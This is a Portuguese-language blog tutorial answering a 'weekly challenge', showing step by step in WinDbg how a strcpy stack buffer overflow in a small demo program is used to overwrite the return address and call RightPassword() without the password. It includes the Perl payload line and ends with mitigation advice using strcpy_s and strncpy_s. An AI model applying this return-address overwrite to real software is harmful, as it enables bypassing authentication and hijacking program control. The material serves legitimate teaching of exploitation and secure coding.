Resposta ao Desafio da Semana #9 [Crash - Como Explorar um Buffer Overflow]

Por: Roberto Alexis Farah

https://blogs.technet.com/latam/archive/2006/08/04/445005.aspx

 

Agora eis a resposta…

 

PROBLEMA

O problema é bastante claro, um buffer overflow pode ocorrer no código. Agora, como explorá-lo para chamar a rotina RightPassword() mesmo sem saber a senha correta?

Vamos lá... no caso, usei apenas WinDbg (minha ferramenta favorita! J), mesmo para disassemblar o código.

Não entrarei no mérito de comandos Windbg, explicação detalhada de código disassemblado, etc... irei direto ao ponto, até porque não quero estimular os hackers de plantão. J

Utilizando Visual C++ 6.0 com aplicação compilada como DEBUG temos...

Código disassemblado de main(), como estou usando símbolos (PDB) temos a relação da linha de código fonte mas isso não é absolutamente nada necessário numa situação real. De fato, poderia ter usado a versão RELEASE sem símbolos, entretanto, seria menos didático para a demonstração:

BufferOverflow!main [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 16]:

   16 00401030 55 push ebp

   16 00401031 8bec mov ebp,esp

   16 00401033 83ec4c sub esp,4Ch ß Espaço para variáveis locais.

   16 00401036 53 push ebx

   16 00401037 56 push esi

   16 00401038 57 push edi

   16 00401039 8d7db4 lea edi,[ebp-4Ch]

   16 0040103c b913000000 mov ecx,13h

   16 00401041 b8cccccccc mov eax,0CCCCCCCCh

   16 00401046 f3ab rep stos dword ptr es:[edi]

   17 00401048 837d0802 cmp dword ptr [ebp+8],2

   17 0040104c 740d je BufferOverflow!main+0x2b (0040105b)

BufferOverflow!main+0x1e [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 19]:

   19 0040104e 6828204200 push offset BufferOverflow!`string' (00422028)

   19 00401053 e888020000 call BufferOverflow!printf (004012e0)

   19 00401058 83c404 add esp,4

BufferOverflow!main+0x2b [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 26]:

   26 0040105b 8b450c mov eax,dword ptr [ebp+0Ch]

   26 0040105e 8b4804 mov ecx,dword ptr [eax+4]

   26 00401061 51 push ecx

   26 00401062 8d55f4 lea edx,[ebp-0Ch]

   26 00401065 52 push edx

   26 00401066 e885010000 call BufferOverflow!strcpy (004011f0)

   26 0040106b 83c408 add esp,8

   28 0040106e 681c204200 push offset BufferOverflow!`string' (0042201c)

   28 00401073 8d45f4 lea eax,[ebp-0Ch]

   28 00401076 50 push eax

   28 00401077 e8e4000000 call BufferOverflow!strcmp (00401160)

   28 0040107c 83c408 add esp,8

   28 0040107f 85c0 test eax,eax

   28 00401081 7507 jne BufferOverflow!main+0x5a (0040108a)

BufferOverflow!main+0x53 [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 30]:

   30 00401083 e87dffffff call BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)

   32 00401088 eb05 jmp BufferOverflow!main+0x5f (0040108f)

BufferOverflow!main+0x5a [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 34]:

   34 0040108a e880ffffff call BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)

BufferOverflow!main+0x5f [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 37]:

   37 0040108f 33c0 xor eax,eax

   38 00401091 5f pop edi

   38 00401092 5e pop esi

   38 00401093 5b pop ebx

   38 00401094 83c44c add esp,4Ch

   38 00401097 3bec cmp ebp,esp

   38 00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)

   38 0040109e 8be5 mov esp,ebp

   38 004010a0 5d pop ebp

   38 004010a1 c3 ret

Note que do espaço para variáveis locais, que inclui o buffer para receber a senha:

0x4c = 76 em decimal

Entretanto, as variáveis locais comecam em ebp-0x4 quando não há Frame Pointer Optimization (FPO) logo, devemos

subtrair 0x4c de 0x4 = 0x48 = 0n72 em decimal. Isso é a área bruta para variáveis locais.

Durante a resolução vamos considerar que nunca vimos o código fonte.

Continuando, na pilha temos, sempre que não usando FPO (do contrário ESP é usado, mas não é constante):

ebp

ebp+0x4 ß Endereço de retorno

ebp+0x8 ß Primeiro parâmetro em diante...

ebp-0x4 ß Primeira variável local se tamanho não for maior que um DWORD.

              Em caso de uma string o parâmetro pode ser maior... no nosso caso e'

              ebp-0xc.

Logo, se há um estouro de buffer (buffer overflow) o primeiro endereço a ser sobreescrito é justamente o endereço

EBP (stack frame) seguido pelo endereço de retorno EBP+4.

Durante a depuração temos (mapeie com o código disassemblado mais acima):

00401058 83c404 add esp,4

0040105b 8b450c mov eax,dword ptr [ebp+0Ch]

0040105e 8b4804 mov ecx,dword ptr [eax+4]

00401061 51 push ecx

00401062 8d55f4 lea edx,[ebp-0Ch] ß Localização do buffer onde a string será copiada.

00401065 52 push edx ßParei aqui! Os parâmetros para strcpy()

00401066 e885010000 call BufferOverflow!strcpy (004011f0)

0040106b 83c408 add esp,8

eax=00321190 ebx=7ffd9000 ecx=00000000 edx=0012ff74 esi=7c9118f1 edi=0012ff80

eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

BufferOverflow!main+0x35:

00401065 52 push edx

Eis a pilha:

ChildEBP RetAddr

0012ff80 00401489 BufferOverflow!main+0x35

0012ffc0 7c816d4f BufferOverflow!mainCRTStartup+0xe9

0012fff0 00000000 kernel32!BaseProcessStart+0x23

Eis a pilha sob outro ângulo:

0012ff80 0012ffc0 ß ebp

0012ff84 00401489 BufferOverflow!mainCRTStartup+0xe9 ß ebp+0x4

0012ff88 00000002 ß ecx

0012ff8c 00321190 ß eax

0012ff90 00321288 ß edx

0012ff94 00eef558 ß edi

0012ff98 00000182 ß esi

0012ff9c 7ffdd000

0012ffa0 00000001

0012ffa4 00000001

0012ffa8 0012ff94

0012ffac ad38fd08

0012ffb0 0012ffe0

0012ffb4 00404450 BufferOverflow!_except_handler3

Ainda outra visão da pilha (stack):

0012ff84  00401489 00000002 00321190 00321288

0012ff94  00eef558 00000182 7ffdf000 00000001

0012ffa4  00000001 0012ff94 af104d08 0012ffe0

0012ffb4  00404450 004221c0 00000000 0012fff0

Nesse ponto tempos:

ecx = "1234567899999" ß Parâmetro via linha de comando.

ebp-0xc = buffer, primeiro parâmetro de _tcscpy()

Com os valores acima nosso overflow vai apenas sobreescrever variáveis locais se houverem mas talvez não seja suficiente para atingirmos nosso objetivo ebp+4 o endereço de retorno.

Agora vamos reexecutar a aplicação usando suficiente número de bytes para invadir o buffer com margem de sobra. Obviamente como não sabemos se a aplicação preve isso nem o tamanho que aceita, tentamos com uma entrada grande o suficiente mas isso poderia ser automatizado via um script...

Eis a linha de comando:

1111111111111111111111111111111111111111111111111111111111111111111111111111

O que esperamos com isso? Checar se a aplicação falha (crash) por causa de um buffer overflow e, após comprovado, sobreescrever ebp+4... vamos ver...

Reexecutando temos:

ebp+0x4:

0012ff84 00401489

ebp:

0012ff80  0012ffc0

Notem a diferença de 4 bytes de ebp e ebp+0x4.

Agora vou parar a execução logo depois da cópia da string de parâmetro (linha de comando) para o buffer interno, onde justamente esse buffer será sobreescrito.

00401062 8d55f4 lea edx,[ebp-0Ch]

00401065 52 push edx

00401066 e885010000 call BufferOverflow!strcpy (004011f0)

0040106b 83c408 add esp,8 ß Parei a execução aqui.

0040106e 681c204200 push offset BufferOverflow!`string' (0042201c)

00401073 8d45f4 lea eax,[ebp-0Ch]

00401076 50 push eax

00401077 e8e4000000 call BufferOverflow!strcmp (00401160)

0040107c 83c408 add esp,8

Eis os registradores:

eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408 add esp,8

ebp esta correto...mas e ebp+0x4?

ebp+0x4:

0012ff84 31313131 ß Corrompido!!! Representam o código hexadecimal para a linha fornecida como parâmetro.

Eis a pilha a partir de ebp+0x4:

0012ff84 31313131 31313131 31313131 31313131

0012ff94 31313131 31313131 31313131 31313131

0012ffa4 31313131 31313131 31313131 31313131

0012ffb4 31313131 31313131 31313131 0012ff00

0012ffc4 7c816d4f 00eef558 00000182 7ffdf000

0012ffd4 8054a6ed 0012ffc8 88efb020 ffffffff

0012ffe4 7c8399f3 7c816d58 00000000 00000000

0012fff4 00000000 004013a0 00000000 78746341

E o valor dos novos registradores:

eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408 add esp,8

Notem que a string de caracteres passou demasiadamente o ponto que queríamos... Como sabemos disso?

O conteúdo dos registradores esi, edi, ecx foram corrompidos, ou seja, passamos ebp, passamos ebp+4 e fomos invadindo a memória.

Portanto, vamos reduzir em, digamos 3 DWORDs (4 bytes).

Agora temos:

1111111111111111111111111111111111111111111111111111111111111111

Reexecutando a aplicação com a nova string de entrada temos...

Primeiro vamos ver o buffer ebp-0xc:

0012ff74 0012ff7c ß ebp-0xc

0012ff78 00403138 BufferOverflow!_initterm+0x18

0012ff7c 0012ff8c

0012ff80 0012ffc0 ß ebp

0012ff88 00000002

Importante!!! Há três coisas que confundem muito aqueles aprendendo a fazer depuração radical, portanto vou esclarecer (ou tentar pelo menos J) :

1- A pilha cresce de cima para baixo, ou seja, do maior endereço para o menor endereço. Notem que o endereço de ebp+4 é, por exemplo, maior que ebp.

2- O buffer ao receber dados cresce de baixo para cima, ou seja, na direção oposta a da pilha. Portanto, se 0012ff74 no exemplo acima recebe um valor muito grande vai expandir em direção a 0012ff88.

3- O código disassemblado não tem relação com a pilha. A pilha é como se fosse uma lista ligada que aponta para partes das rotinas mas quando a pilha é afetada o código disassemblado não muda.

Continuando...

0012ff74  0012ff7c ß ebp-0xc buffer que receberá a string.

0012ff78 00403138 BufferOverflow!_initterm+0x18

0012ff7c 0012ff8c

0012ff80  0012ffc0 ß ebp

0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9 ß endereço de retorno, ebp+0x4

0012ff88 00000002

0012ff8c 00321190

0012ff90 00321278

0012ff94 00eef558

0012ff98 0000016a

0012ff9c 7ffd6000

0012ffa0 00000001

0012ffa4 00000001

0012ffa8 0012ff94

0012ffac b1755d08

0012ffb0 0012ffe0

0012ffb4 00404450 BufferOverflow!_except_handler3

0012ffb8 004221c0 BufferOverflow!`string'+0xe0

Vamos parar a execução no ponto abaixo:

00401065 52 push edx

00401066 e885010000 call BufferOverflow!strcpy (004011f0)

0040106b 83c408 add esp,8 ß Parei aqui.

Eis a mesma pilha agora com o buffer preenchido pela string recebida como parâmetro:

0012ff80 31313131 ß ebp

0012ff84 31313131 ß ebp+0x4

0012ff88 31313131 ß A partir daqui passamos!

0012ff8c 31313131

0012ff90 31313131

0012ff94 31313131

0012ff98 31313131

0012ff9c 31313131

0012ffa0 31313131

0012ffa4 31313131

0012ffa8 31313131

0012ffac 31313131

0012ffb0 31313131

0012ffb4 00404400 BufferOverflow!_NLG_Return2+0xe

0012ffb8 004221c0 BufferOverflow!`string'+0xe0

Note que depurando podemos medir o quanto invadimos a pilha. Isso é fundamental para explorarmos a falha de segurança!

Registradores nesse momento:

eax=0012ff74 ebx=7ffd7000 ecx=00321238 edx=fd003131 esi=0000016a edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408 add esp,8

0012ff80  31313131 31313131 31313131 31313131

0012ff90 31313131 31313131 31313131 31313131

0012ffa0 31313131 31313131 31313131 31313131

0012ffb0 31313131 00404400 004221c0 00000000

0012ffc0 0012fff0 7c816d4f 00eef558 0000016a

0012ffd0 7ffd7000 8054a6ed 0012ffc8 88dfc2a0

0012ffe0 ffffffff 7c8399f3 7c816d58 00000000

0012fff0 00000000 00000000 004013a0 00000000

Agora estamos quase lá!! Sabemos, usando força-bruta que:

1- A aplicação aceita valores acima do que deveria, prova disso é que invadimos a pilha e causamos um crash.

2- Sabemos o quanto estamos invadindo da pilha e que queremos sobreescrever até 0012ff84 apenas.

Portanto, cada linha tem 4 bytes, logo, quatro caracters já que a aplicação foi compilada como ASCII, com isso

devemos reduzir a entrada em 44 caracteres, logo, devemos usar:

11111111111111111111 ß 20 caracteres.

Reexecutando temos:

0012ff80 31313131

0012ff84 31313131 ß YYYYEEESSSSSSSS! J

0012ff88 00000000

0012ff8c 00321190

0012ff90 00321248

0012ff94 00eef558

0012ff98 00000112

0012ff9c 7ffd6000

0012ffa0 00000001

0012ffa4 00000001

0012ffa8 0012ff94

0012ffac adf9bd08

0012ffb0 0012ffe0

0012ffb4 00404450 BufferOverflow!_except_handler3

0012ffb8 004221c0 BufferOverflow!`string'+0xe0

Lindo, né gente? Alcançamos o exato ponto para sobreescrever ebp+0x4.

<AVISO>

O propósito desse desafio é só ilustrar o perigo de uma falha de segurança muito comum em aplicações escritas em C ou C++ e dar uma idéia mais detalhada de como um buffer overflow é explorado.

Após publicar o desafio, na semana passada, me perguntaram porque não escrevo um artigo sobre como fazer um crack de software.

Isso não seria nada construtivo por diversas razões, portanto, não escreverei sobre isso.

</AVISO>

Agora... porque esse foco em ebp+0x4? Porque, como mencionei, é o endereço de retorno, ou seja, quando uma rotina é chamada o endereço da próxima instrução logo após a chamada da rotina é salvo, assim, ao final da execução da rotina, o fluxo de execução caminha para a próxima instrução.

Logo, imagine se esse endereço de retorno tivesse o endereço da função que habilita a senha... observem que o endereço é facilmente extraido do código disassemblado!

Se isso fosse conseguido a rotina de senha correta seria chamada automaticamente ao final da execução!

Mas como isso pode ser feito? Enviando-se o código de máquina junto da string que ocasiona o buffer overflow!

Primeiro vamos pegar o endereço da rotina de senha correta:

00401083 e87dffffff call BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005) ß Eis!

00401088 eb05 jmp BufferOverflow!main+0x5f (0040108f)

0040108a e880ffffff call BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)

0040108f 33c0 xor eax,eax

Rotina:

BufferOverflow!RightPassword [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 44]:

   44 004010c0 55 push ebp

   44 004010c1 8bec mov ebp,esp

   44 004010c3 83ec40 sub esp,40h

   44 004010c6 53 push ebx

   44 004010c7 56 push esi

   44 004010c8 57 push edi

   44 004010c9 8d7dc0 lea edi,[ebp-40h]

   44 004010cc b910000000 mov ecx,10h

   44 004010d1 b8cccccccc mov eax,0CCCCCCCCh

   44 004010d6 f3ab rep stos dword ptr es:[edi]

   45 004010d8 6850204200 push offset BufferOverflow!`string' (00422050)

   45 004010dd e8fe010000 call BufferOverflow!printf (004012e0)

   45 004010e2 83c404 add esp,4

   46 004010e5 5f pop edi

   46 004010e6 5e pop esi

   46 004010e7 5b pop ebx

   46 004010e8 83c440 add esp,40h

   46 004010eb 3bec cmp ebp,esp

   46 004010ed e86e020000 call BufferOverflow!_chkesp (00401360)

   46 004010f2 8be5 mov esp,ebp

   46 004010f4 5d pop ebp

   46 004010f5 c3 ret

Ok... alguém poderia perguntar como saber se essa é a rotina sem ter indicação do nome... resposta: depurando ou simplesmente analisando a listagem do código disassemblado.

Portanto, para finalizar, temos que passar um buffer de 20 caracteres onde os últimos 8 bytes são:

90 90 90 90 00 40 10 05

Que se traduz em instruções NOP para sobreescrever EBP (isso não é necessário, é apenas para ficar fácil visualizar) e, em seguida, o endereço da instrução.

Como fazer isso?

Para isso devemos usar Perl e criar um script como:

$arg = "111111111111"."\x90\x90\x90\x90\x00\x40\x10\x05";

$cmd = "bufferoverflow.exe ".$arg;

system($cmd);

Note que o endereço é invertido porque com x86 os valores são colocados na memória (little-endian) do byte menos significativo para o mais significativo.

Ok, usando essa abordagem nós fazemos com que o endereço de retorno chame a rotina de senha correta. Após a chamada haverá um crash de aplicação porque o valor de ebp é inválido, mas isso não importa mais porque a invasão foi feita!

Esse exemplo é bem simples mas ilustra o conceito.

Eis a depuração usando a exploração via Perl:

00401062 8d55f4 lea edx,[ebp-0Ch]

00401065 52 push edx ß Primeira parada. (breakpoint)

00401066 e885010000 call BufferOverflow!strcpy (004011f0)

0040106b 83c408 add esp,8 ß Segunda parada. (breakpoint)

0040106e 681c204200 push offset B

Para a primeira parada acima temos:

eax=00321190 ebx=7ffd7000 ecx=003211f6 edx=0012ff74 esi=00000112 edi=0012ff80

eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

BufferOverflow!main+0x35:

00401065 52 push edx

0012ff74 cccccccc ß Buffer onde a string será colocada.

0012ff78 cccccccc

0012ff7c cccccccc

0012ff80 0012ffc0 ß ebp

0012ff84 00401489 BufferOverflow!mainCRTStartup+0xe9 ß ebp+0x4

Na segunda parada temos:

eax=0012ff74 ebx=7ffd7000 ecx=0032120c edx=fd003535 esi=00000112 edi=0012ff80

eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

BufferOverflow!main+0x3b:

0040106b 83c408 add esp,8

0012ff74 31313131 ß Buffer... conteúdo e' "111111...."

0012ff78 31313131

0012ff7c 31313131

0012ff80 90909090 ß ebp

0012ff84 00401005 BufferOverflow!ILT+0(?RightPasswordYAXXZ) ß ebp+0x4 Lindo né, gente?

Continuando a depuração temos...

00401092 5e pop esi ß Breakpoint aqui.

00401093 5b pop ebx

00401094 83c44c add esp,4Ch

00401097 3bec cmp ebp,esp

00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)

0040109e 8be5 mov esp,ebp

004010a0 5d pop ebp

esp = 12ff34

Mas após "add esp, 4Ch" temos:

esp = 12ff80

que contém:

0012ff80 90909090 ß antigo ebp resgatado. Lembram-se dos 0x90 que colocamos?

Agora vamos executar:

00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)

0040109e 8be5 mov esp,ebp

004010a0 5d pop ebp

004010a1 c3 ret ß Estamos nesse ponto.

Nos registradores ebp e ebp+0x4 temos:

0012ff80 90909090 00401005

Após o "ret" acima vamos para:

BufferOverflow!ILT+0(?RightPasswordYAXXZ):

00401005 e9b6000000 jmp BufferOverflow!RightPassword (004010c0)

BufferOverflow!RightPassword:

004010c0 55 push ebp

004010c1 8bec mov ebp,esp

004010c3 83ec40 sub esp,40h

004010c6 53 push ebx

004010c7 56 push esi

004010c8 57 push edi

004010c9 8d7dc0 lea edi,[ebp-40h]

004010cc b910000000 mov ecx,10h

004010d1 b8cccccccc mov eax,0CCCCCCCCh

004010d6 f3ab rep stos dword ptr es:[edi]

004010d8 6850204200 push offset BufferOverflow!`string' (00422050)

004010dd e8fe010000 call BufferOverflow!printf (004012e0)

004010e2 83c404 add esp,4

004010e5 5f pop edi

004010e6 5e pop esi

004010e7 5b pop ebx

004010e8 83c440 add esp,40h

004010eb 3bec cmp ebp,esp

004010ed e86e020000 call BufferOverflow!_chkesp (00401360)

004010f2 8be5 mov esp,ebp

004010f4 5d pop ebp

004010f5 c3 ret

RightPassword() está sendo chamada!!! Exploração bem sucedida!!!

No final da execução temos ebp com o valor inválido sendo usado, haverá o crash:

004010f2 8be5 mov esp,ebp ß ebp = 90909090

004010f4 5d pop ebp

004010f5 c3 ret

ebp+0x4 que e' o valor de retorno = 90909094 ????????

Valores ilegais porque a pilha foi corrompida, embora milimetricamente corrompida! J

eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558

eip=00000090 esp=0012ff8c ebp=90909090 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

00000090 ?? ???

Eis a pilha corrompida...

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong.

0012ff88 00000000 0x90

Isso gera uma exceção que quebra a aplicação quando não estamos com o depurador conectado como agora:

(78c.17a4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558

eip=00000090 esp=0012ff8c ebp=90909090 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

00000090 ?? ???

Portanto, após a chamada da rotina a aplição sofre um crash. Mas a chamada crítica já foi efetuada, ou seja, sem ter a senha correta, apenas explorando uma falha de segurança fizemos com que a rotina que deveria supostamente ser chamada somente com senha certa tenha sido chamada sem conhecimento da senha real!

Como evitar essa falha no código? Utilizando rotinas protegidas. O que? Você pensou em strncpy()? Atente para isso:

https://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_strncpy.2c_.wcsncpy.2c_._mbsncpy.asp

“The strncpy function copies the initial count characters of strSource to strDest and returns strDest. If count is less than or equal to the length of strSource, a null character is not appended automatically to the copied string. If count is greater than the length of strSource, the destination string is padded with null characters up to length count. The behavior of strncpy is undefined if the source and destination strings overlap.

Security Note   strncpy does not check for sufficient space in strDest; it is therefore a potential cause of buffer overruns. Keep in mind that count limits the number of characters copied; it is not a limit on the size of strDest. See the example below. For more information, see Avoiding Buffer Overruns.”

Em outras palavras, você pode resolver o problema mas ainda está sujeito a falhas como o terminador NULL que nem sempre é colocado. O melhor é usar a variação segura dessa rotina:

https://msdn2.microsoft.com/en-us/library/5dae5d43.aspx

Exemplo:

#include <stdio.h>

#include <stdlib.h>

int main( void )

{

char a[20] = "test";

char s[20];

// simple strncpy usage:

strcpy_s( s, 20, "dogs like cats" );

printf( "Original string:\n '%s'\n", s );

// Here we can't use strncpy_s since we don't

// want null termination strncpy( s, "mice", 4 );

printf( "After strncpy (no null-termination):\n '%s'\n", s );

strncpy( s+5, "love", 4 );

printf( "After strncpy into middle of string:\n '%s'\n", s );

// If we use strncpy_s, the string is terminated.

strncpy_s( s, _countof(s), "mice", 4 );

printf( "After strncpy_s (with null-termination):\n '%s'\n", s );

}

Até o próximo desafio, pessoal!